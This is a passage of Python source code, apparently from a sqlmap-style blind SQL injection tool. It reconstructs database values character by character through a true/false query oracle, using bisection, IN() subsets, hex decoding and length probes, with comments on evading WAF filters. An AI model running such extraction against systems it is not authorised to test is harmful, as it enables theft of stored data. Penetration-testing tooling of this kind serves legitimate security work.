||||
the public extract*/read* API, and the LIKE pattern-match floor."""
|
||||
|
||||
def _charExists(self, expr, pos):
|
||||
# is there a real character at 1-based `pos`? derived from the substring's
|
||||
# measured end behavior - the basis for length when no length fn exists.
|
||||
one = self._sub(expr, pos, 1)
|
||||
if self.dialect.substring.get("beyond_end") == "null-or-error":
|
||||
return self._ask("%s IS NOT NULL" % one)
|
||||
return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one)
|
||||
|
||||
def _measureLengthSub(self, expr, ceiling):
|
||||
# length via substring: find the largest position that still holds a char.
|
||||
# mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char
|
||||
# exists at N+1), for backends with substring but no length fn.
|
||||
if not self._charExists(expr, 1):
|
||||
return (None if self._ask("(%s) IS NULL" % expr) else 0), False
|
||||
if self._charExists(expr, ceiling + 1):
|
||||
return ceiling, True
|
||||
low, high = 1, min(8, ceiling)
|
||||
while high < ceiling and self._charExists(expr, high + 1):
|
||||
low = high + 1
|
||||
high = min(high * 2, ceiling)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._charExists(expr, mid + 1):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low, False
|
||||
|
||||
def _hasChars(self, expr):
|
||||
# non-empty existence check that works with either a length fn or substring
|
||||
if self.dialect.length is not None:
|
||||
lexpr = self._len(expr)
|
||||
return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr)
|
||||
if self.dialect.substring is not None:
|
||||
return self._charExists(expr, 1)
|
||||
return False
|
||||
|
||||
def _lenEquals(self, expr, n):
|
||||
# exact-length corroboration used in discovery, length-fn or substring-derived
|
||||
if self.dialect.length is not None:
|
||||
return self._ask("%s=%d" % (self._len(expr), n))
|
||||
if self.dialect.substring is not None:
|
||||
return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n
|
||||
return False
|
||||
|
||||
def _measureLength(self, expr, ceiling=None):
|
||||
"""Return (length, truncated) - no shared per-call state, and a separate
|
||||
`ceiling` so hex/byte pulls can be capped independently of maxlen."""
|
||||
ceiling = self.maxlen if ceiling is None else ceiling
|
||||
if self.dialect.length is None:
|
||||
return self._measureLengthSub(expr, ceiling)
|
||||
lexpr = self._len(expr)
|
||||
if not self._numDefined(lexpr):
|
||||
return None, False
|
||||
if self._ask("%s=0" % lexpr):
|
||||
return 0, False
|
||||
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
|
||||
return 0, True
|
||||
try:
|
||||
n = self._readNum(lexpr, 1, ceiling)
|
||||
except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value
|
||||
return ceiling, True
|
||||
return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap
|
||||
# is COMPLETE, not truncated - overflow is the exception above
|
||||
|
||||
def valueLength(self, expr):
|
||||
length, truncated = self._measureLength(expr)
|
||||
self._lastTruncated = truncated
|
||||
return length
|
||||
|
||||
def _literalVariants(self, value):
|
||||
# spellings to try for exact char verification; SQL Server & others need an
|
||||
# N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate
|
||||
yield self._lit(value)
|
||||
if any(ord(c) > 127 for c in value):
|
||||
yield "N%s" % self._lit(value)
|
||||
|
||||
def _exactCharEquals(self, expr, value):
|
||||
return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value))
|
||||
|
||||
def _lit(self, ch):
|
||||
# double single quotes always; also double backslashes on engines that treat
|
||||
# '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break
|
||||
# the literal and silently corrupt the probe
|
||||
if self._backslashEscape is None:
|
||||
self._backslashEscape = (self.dialect.length is not None
|
||||
and self._ask("%s=1" % self._len("'\\\\'")))
|
||||
s = ch.replace("\\", "\\\\") if self._backslashEscape else ch
|
||||
return _native("'%s'" % s.replace("'", "''"))
|
||||
|
||||
def _bisectCharset(self, greater):
|
||||
# greater(c) -> is the source char strictly greater than charset char c?
|
||||
cs = _PRINTABLE_SORTED
|
||||
lo, hi = 0, len(cs) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if greater(cs[mid]):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return cs[lo]
|
||||
|
||||
def _gtNum(self, expr, n, high):
|
||||
# "is `expr` > n?" via the discovered comparator (high = current upper bound).
|
||||
# BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
|
||||
if self._comparator == "between":
|
||||
return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
|
||||
if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...)
|
||||
return self._ask(self._cmpTemplate.format(expr=expr, n=n))
|
||||
return self._ask("%s>%d" % (expr, n))
|
||||
|
||||
def _numDefined(self, expr):
|
||||
# value is a defined (non-NULL) number - validity gate that needs no '>'
|
||||
return self._ask("(%s) IS NOT NULL" % expr)
|
||||
|
||||
def _readNum(self, expr, lo, hi):
|
||||
"""Bounded numeric read in [lo, hi]. PROVES the value lies in range before
|
||||
bisecting - a bounded search must never invent an in-range boundary ('>'
|
||||
saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an
|
||||
out-of-range value raises NumericOutOfRange for the caller to classify
|
||||
(length -> truncated, integer -> overflow) instead of returning wrong data."""
|
||||
if self._comparator == "membership":
|
||||
if self._inOk:
|
||||
window = 128
|
||||
base = lo
|
||||
while base <= hi:
|
||||
win = list(range(base, min(base + window, hi + 1)))
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
|
||||
while len(win) > 1:
|
||||
half = win[:len(win) // 2]
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
|
||||
win = half
|
||||
else:
|
||||
win = win[len(win) // 2:]
|
||||
return win[0]
|
||||
base += window
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan
|
||||
if self._ask("%s=%d" % (expr, v)):
|
||||
return v
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
# ordered comparators (gt / between / operator-free rung): prove range first
|
||||
if self._comparator == "between":
|
||||
if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)):
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
else: # gt or operator-free rung ('>' semantics)
|
||||
if self._gtNum(expr, hi, hi):
|
||||
raise NumericOutOfRange("%s > %d" % (expr, hi))
|
||||
if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo)
|
||||
raise NumericOutOfRange("%s < %d" % (expr, lo))
|
||||
low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap
|
||||
while high < hi and self._gtNum(expr, high, hi):
|
||||
low, high = high + 1, min(high * 2, hi)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(expr, mid, hi):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def _bisectCodes(self, code, codes):
|
||||
# ordered bisection over a sorted code list (restricted alphabet)
|
||||
lo, hi = 0, len(codes) - 1
|
||||
top = codes[hi]
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._gtNum(code, codes[mid], top):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return codes[lo]
|
||||
|
||||
def _bisectCodeRange(self, code):
|
||||
# general dynamic-range bisection - a real code-point fn can far exceed 255,
|
||||
# so find the tight upper bound first, then bisect
|
||||
high = _UNICODE_MAX
|
||||
for cap in (127, 255, 0xFFFF, _UNICODE_MAX):
|
||||
if not self._gtNum(code, cap, _UNICODE_MAX):
|
||||
high = cap
|
||||
break
|
||||
low = 0
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(code, mid, high):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def _pickCode(self, code, codes):
|
||||
# order-free code selection when there's no ordered comparator: IN() subset
|
||||
# bisection if available, else a plain '=' scan (last resort, no '<>' needed)
|
||||
if self._inOk:
|
||||
return self._membershipCode(code, codes)
|
||||
for c in codes:
|
||||
if self._ask("%s=%d" % (code, c)):
|
||||
return c
|
||||
return None
|
||||
|
||||
def _membershipCode(self, code, codes):
|
||||
# ORDER-FREE subset bisection: split the candidate code list in half and test
|
||||
# `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN
|
||||
# and collation quirks. ~log2(n) probes. Returns the matched code, or None
|
||||
# when the char is outside `codes` (caller escalates to hex / marks it).
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))):
|
||||
return None
|
||||
cand = list(codes)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _membershipLit(self, one, chars):
|
||||
# order-free subset bisection over char LITERALS (no code fn, no ordering) -
|
||||
# `chars` is frequency-ordered so the common half resolves first
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))):
|
||||
return None
|
||||
cand = list(chars)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _ensureHexfn(self):
|
||||
# a hex fn may not have been discovered (code/collation mode won the ladder
|
||||
# before hex was tried); probe for one on demand so escalation can recover
|
||||
# bytes exactly. probes at most once.
|
||||
if self.dialect.hexfn is None and not self._hexProbed:
|
||||
self._hexProbed = True
|
||||
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc is not None: # '' = usable, codec unknown (auto-detect)
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
|
||||
break
|
||||
return self.dialect.hexfn
|
||||
|
||||
def _hexEncoding(self, tmpl):
|
||||
# if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 /
|
||||
# utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form
|
||||
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
|
||||
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
|
||||
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
|
||||
cf = self._codeCharTmpl()
|
||||
for form, enc in _HEX_Q_ENCODINGS:
|
||||
if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))):
|
||||
continue
|
||||
# BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying
|
||||
# itself). A LONG probe is required: a short sample passes any large-enough fixed cap,
|
||||
# so an 8/64/255-byte-capped hex fn would slip through. No usable length measure ->
|
||||
# do NOT certify whole-value hex output.
|
||||
bpc = 2 if "16" in enc else 1
|
||||
probe = "A" * 256
|
||||
if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2):
|
||||
continue
|
||||
# PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in
|
||||
# MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match
|
||||
# alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is
|
||||
# UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe
|
||||
# passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a
|
||||
# byte-based mode that mangles multibyte). None means only 'no working hex fn'.
|
||||
if cf:
|
||||
eur = tmpl.format(expr=cf.format(code=0x20AC))
|
||||
want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc)
|
||||
if want and self._ask("LOWER(%s)='%s'" % (eur, want)):
|
||||
return enc
|
||||
return "" # ASCII-compatible, codec unproven: usable, auto-detect decode
|
||||
return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII-
|
||||
# compatible in many charsets (CP1252/Latin-1/SJIS/...), so it
|
||||
# is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text
|
||||
return None
|
||||
|
||||
def _escalate(self, one, pos):
|
||||
# candidate did not verify -> char is outside the searched alphabet.
|
||||
# recover its exact bytes via hex if available; otherwise mark it (never
|
||||
# silently substitute a space/'~' or delete it)
|
||||
if self._ensureHexfn():
|
||||
ch = self._readHexChar(one)
|
||||
if ch and ch != _REPL:
|
||||
return ch
|
||||
self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos)
|
||||
return _REPL
|
||||
|
||||
def _readChar(self, expr, pos, codes=None):
|
||||
one = self._sub(expr, pos, 1)
|
||||
mode = self.dialect.compare
|
||||
|
||||
if mode == "code":
|
||||
code = self.dialect.charcode[1].format(expr=one)
|
||||
ordered = self._comparator != "membership" # gt/between OR an operator-free rung (all bisect via _gtNum)
|
||||
if codes is not None:
|
||||
# restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII
|
||||
# set. no per-char verify - ASCII codes are unambiguous across charcode
|
||||
# semantics and extractResult whole-value verifies.
|
||||
low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes)
|
||||
return _unichr(low) if low is not None else self._escalate(one, pos)
|
||||
if ordered:
|
||||
low = self._bisectCodeRange(code)
|
||||
else:
|
||||
# no ordered operator: order-free IN() over the printable set (or a '='
|
||||
# scan if IN is gone too); anything outside it escalates to hex / marks
|
||||
low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED])
|
||||
if low is None:
|
||||
return self._escalate(one, pos)
|
||||
if 0xD800 <= low <= 0xDFFF:
|
||||
# a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation)
|
||||
# can return an isolated surrogate - not a scalar; recover via bytes
|
||||
return self._escalate(one, pos)
|
||||
try:
|
||||
ch = _unichr(low) # low==0 is a valid NUL char, not "empty"
|
||||
except ValueError:
|
||||
return self._escalate(one, pos)
|
||||
# a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even
|
||||
# '?' (63) for an unrepresentable char - the old low>127-only check
|
||||
# silently accepted the last as a literal '?'. only a *proven* code-point
|
||||
# fn is trusted outright; everything else must round-trip-verify.
|
||||
if self.dialect.charcode.get("semantics") != "codepoint" and \
|
||||
not self._exactCharEquals(one, ch):
|
||||
return self._escalate(one, pos)
|
||||
return ch
|
||||
|
||||
if mode == "hex":
|
||||
if self.dialect.hexfn is None:
|
||||
return self._escalate(one, pos)
|
||||
return self._readHexChar(one)
|
||||
|
||||
if mode == "collation":
|
||||
if self.dialect.binwrap is None:
|
||||
return self._escalate(one, pos)
|
||||
w = self.dialect.binwrap[1]
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c)))))
|
||||
if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
if mode == "ordinal":
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c))))
|
||||
if self._ask("%s=%s" % (one, self._lit(cand))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
# equality / equality-ci: order-free IN() subset bisection (frequency-ordered,
|
||||
# ~log2(n) probes) when IN is usable, else the linear frequency scan
|
||||
if self._inOk:
|
||||
ch = self._membershipLit(one, _FREQ_ORDER)
|
||||
return ch if ch is not None else self._escalate(one, pos)
|
||||
for ch in _FREQ_ORDER:
|
||||
if self._ask("%s=%s" % (one, self._lit(ch))):
|
||||
return ch
|
||||
return self._escalate(one, pos)
|
||||
|
||||
def _readHexChar(self, one):
|
||||
# read the uppercase-hex byte string of a single source char, digit by
|
||||
# digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip
|
||||
# against the source (decoder order alone is endian-ambiguous: 00 41 is both
|
||||
# UTF-16BE 'A' and UTF-16LE U+4100).
|
||||
hexpr = self.dialect.hexfn[1].format(expr=one)
|
||||
hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES)
|
||||
if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES:
|
||||
return _REPL
|
||||
# bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks
|
||||
# vs up to 16); fall back to an equality scan otherwise
|
||||
if self._hexOrdered is None:
|
||||
self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'"))
|
||||
digits = ""
|
||||
for k in range(1, hlen + 1):
|
||||
nib = self._sub(hexpr, k, 1)
|
||||
if self._hexOrdered:
|
||||
lo, hi = 0, len(_HEXDIGITS) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
# verify: if nib isn't actually this hex digit (WAF/glitch), bail
|
||||
if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])):
|
||||
return _REPL
|
||||
digits += _HEXDIGITS[lo]
|
||||
else:
|
||||
for hd in _HEXDIGITS:
|
||||
if self._ask("%s='%s'" % (nib, hd)):
|
||||
digits += hd
|
||||
break
|
||||
else:
|
||||
return _REPL
|
||||
try:
|
||||
raw = _unhexlify(digits)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return _REPL
|
||||
# generate every single-scalar candidate and pick the one that round-trips
|
||||
# against the source char (resolves the endian ambiguity), preferring the
|
||||
# interleaved-NUL-signalled endianness order first
|
||||
order = []
|
||||
if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00":
|
||||
order += ["utf-16-be", "utf-32-be"]
|
||||
if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00":
|
||||
order += ["utf-16-le", "utf-32-le"]
|
||||
# UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode
|
||||
# backend may hex; each is TRIED only when it round-trips against the source char
|
||||
# (see _exactCharEquals below), so adding codecs can only recover MORE, never
|
||||
# mis-decode. latin-1 stays last (it accepts any single byte).
|
||||
order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be",
|
||||
"cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"]
|
||||
seen = set()
|
||||
for enc in order:
|
||||
try:
|
||||
dec = raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
if dec in seen or not _isSingleUnicodeScalar(dec):
|
||||
continue
|
||||
seen.add(dec)
|
||||
if self._exactCharEquals(one, dec):
|
||||
return dec
|
||||
return _REPL
|
||||
|
||||
def _textable(self, expr):
|
||||
# extraction needs BOTH length and substring to work; length may implicitly
|
||||
# cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)),
|
||||
# so the substring primitive must be probed too. with no length fn, the
|
||||
# substring probe alone is the textability test.
|
||||
length_ok = self.dialect.length is None or self._numDefined(self._len(expr))
|
||||
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
|
||||
|
||||
def _resolveText(self, expr):
|
||||
# if the expression isn't directly substringable (e.g. a numeric/date column on a
|
||||
# strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered
|
||||
# text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does
|
||||
# not exist) means "not directly textable" -> fall through to the cast, never fatal.
|
||||
with self._probePhase():
|
||||
if self._textable(expr):
|
||||
return expr
|
||||
if self.dialect.textcast is not None:
|
||||
casted = self.dialect.textcast[1].format(expr=expr)
|
||||
# use the cast when it makes a NON-NULL value textable; if the value is
|
||||
# currently NULL the cast is STILL correct (LENGTH may not even exist for the
|
||||
# raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead
|
||||
# of yielding a clean is_null, so prefer the cast in the NULL case too
|
||||
if self._textable(casted) or self._ask("(%s) IS NULL" % expr):
|
||||
return casted
|
||||
return expr
|
||||
|
||||
def coalesce(self, expr, fallback="''"):
|
||||
return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr
|
||||
|
||||
def _concatMany(self, parts):
|
||||
if len(parts) == 1:
|
||||
return parts[0]
|
||||
func = self.dialect.concat.get("variadic") if self.dialect.concat else None
|
||||
if func: # flat CONCAT(a,b,c,...) when variadic
|
||||
return "%s(%s)" % (func, ",".join(parts))
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.dialect.concat[1].format(a=out, b=p)
|
||||
return out
|
||||
|
||||
def buildLiteral(self, value):
|
||||
"""Build a SQL string literal for `value`. Prefers CHAR(code)||... from the
|
||||
discovered char-from-code + concat primitives (no quote-escaping pitfalls),
|
||||
for ASCII values; otherwise a doubled-quote literal."""
|
||||
if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value):
|
||||
return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value])
|
||||
return self._lit(value)
|
||||
|
||||
def extract(self, expr, limit=None):
|
||||
return self.extractResult(expr, limit).value
|
||||
|
||||
def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None):
|
||||
"""Structured text extraction keeping NULL / empty / truncated / failed
|
||||
distinct - never conflated into one ambiguous ''/None. `codes` restricts the
|
||||
char alphabet (sorted code list) for a big speedup on known-alphabet values."""
|
||||
if self.dialect.prefix is not None and self.dialect.substring is None:
|
||||
return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path
|
||||
q0 = self._queries
|
||||
expr = self._resolveText(expr)
|
||||
ceiling = self.maxlen if _ceiling is None else _ceiling
|
||||
length, truncated = self._measureLength(expr, ceiling=ceiling)
|
||||
if length is None:
|
||||
# >=0 was false: either a genuine NULL or the probe itself failed.
|
||||
# PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to
|
||||
# turn every invalid expression into a convincing, "complete" NULL.
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["length probe failed"])
|
||||
if limit is not None and limit < length:
|
||||
truncated = True # a bounded prefix of a longer value
|
||||
length = limit
|
||||
if length == 0:
|
||||
value = ""
|
||||
else:
|
||||
chars = []
|
||||
for i in range(1, length + 1):
|
||||
chars.append(self._readChar(expr, i, codes))
|
||||
self._emitChar("".join(chars), length) # live progress: user sees it working
|
||||
value = "".join(chars)
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if self.dialect.compare == "equality-ci":
|
||||
warns.append("lossy equality collation: case/accents ambiguous")
|
||||
complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete
|
||||
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
|
||||
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
|
||||
# strongest available comparator (hex > binary wrapper > plain equality); even
|
||||
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
|
||||
# (_verify=False on the internal hex-string pull to avoid re-entry.)
|
||||
# escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails
|
||||
# whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a
|
||||
# code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks
|
||||
# chars outside its alphabet, yet the cast+hex path recovers them cleanly.
|
||||
if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))):
|
||||
recovered = self._extractViaHex(expr, q0)
|
||||
if recovered is not None:
|
||||
return recovered
|
||||
if complete: # verify failed and no hex recovery -> demote
|
||||
complete = False
|
||||
warns.append("whole-value verification failed")
|
||||
# a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and
|
||||
# collation/ordinal ordering are collation-dependent (accent/case/width folding), so
|
||||
# without a proven hex/binary witness (or code-mode codepoint reads) the recovered
|
||||
# bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT.
|
||||
if _verify and value and complete and not self._byteFaithful():
|
||||
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
|
||||
return ExtractResult(value, complete=complete, truncated=truncated,
|
||||
queries=self._queries - q0, warnings=warns)
|
||||
|
||||
def _byteFaithful(self):
|
||||
# is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a
|
||||
# binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint
|
||||
# semantics reads true code points, so it is faithful on its own.
|
||||
if self.dialect.hexfn is not None:
|
||||
return True
|
||||
if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"):
|
||||
return True # only a PROVEN byte-exact wrapper (accents tested) counts
|
||||
return (self.dialect.compare == "code" and self.dialect.charcode is not None
|
||||
and self.dialect.charcode.get("semantics") == "codepoint")
|
||||
|
||||
def _extractViaHex(self, expr, q0=None):
|
||||
# recover a full text value through strict hex extraction, or None
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
q0 = self._queries if q0 is None else q0
|
||||
# route through the text cast, exactly as the framed dump does: a column whose STORAGE
|
||||
# charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) -
|
||||
# hexes to bytes the DB-charset decode garbles; casting to the DB char type first
|
||||
# normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec.
|
||||
hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
if res.is_null:
|
||||
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
|
||||
if res.value is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
# UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an
|
||||
# embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes
|
||||
# are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact.
|
||||
if enc is None:
|
||||
try:
|
||||
rawb = bytearray(_unhexlify(res.value))
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
if any(b >= 0x80 for b in rawb):
|
||||
return None # non-ASCII under an unproven codec -> not exact
|
||||
dec = self._decodeHexToken(res.value, enc)
|
||||
if dec is None:
|
||||
return None
|
||||
return ExtractResult(dec, complete=True, queries=self._queries - q0,
|
||||
warnings=["recovered via hex after verification mismatch"])
|
||||
|
||||
def _exactEquals(self, left, right):
|
||||
# whole-value equality that avoids collation/trailing-space lies
|
||||
if self._ensureHexfn():
|
||||
t = self.dialect.hexfn[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right)))
|
||||
if self.dialect.binwrap:
|
||||
t = self.dialect.binwrap[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right)))
|
||||
return self._ask("(%s)=(%s)" % (left, right))
|
||||
|
||||
def extractInteger(self, expr, maximum=None):
|
||||
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
|
||||
stringifying and reading digit-by-digit. EVERY numeric decision renders through
|
||||
`_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it
|
||||
never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free
|
||||
rung keeps FULL signed range (not the membership magnitude ceiling)."""
|
||||
cap = maximum if maximum is not None else 1 << 62
|
||||
if not self._numDefined(expr):
|
||||
return None
|
||||
if self._comparator == "membership":
|
||||
# no ordered comparator at all: read the non-negative magnitude (counts /
|
||||
# lengths) via the bounded IN/scan window; out-of-range -> overflow.
|
||||
ceil = min(cap, 1 << 16)
|
||||
try:
|
||||
return self._readNum(expr, 0, ceil)
|
||||
except NumericOutOfRange:
|
||||
raise OverflowError("integer exceeds maximum %d" % ceil)
|
||||
# ordered comparator: bracket the value with `expr > n` probes then bisect the
|
||||
# transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders
|
||||
# `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as
|
||||
# an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max
|
||||
# value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold.
|
||||
HUGE = 1 << 62
|
||||
if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude)
|
||||
if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum
|
||||
raise OverflowError("integer exceeds maximum %d" % cap)
|
||||
lo, hi = -1, 1
|
||||
while hi < cap and self._gtNum(expr, hi, HUGE):
|
||||
lo, hi = hi, min(hi * 2 + 1, cap)
|
||||
else: # not in [0, HUGE]
|
||||
# BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here.
|
||||
# distinguish it from a genuine negative before reporting a direction (a gt/operator-
|
||||
# free sign test is unbounded, so its else-branch is truly negative and skips this).
|
||||
if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)):
|
||||
raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE)
|
||||
if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum
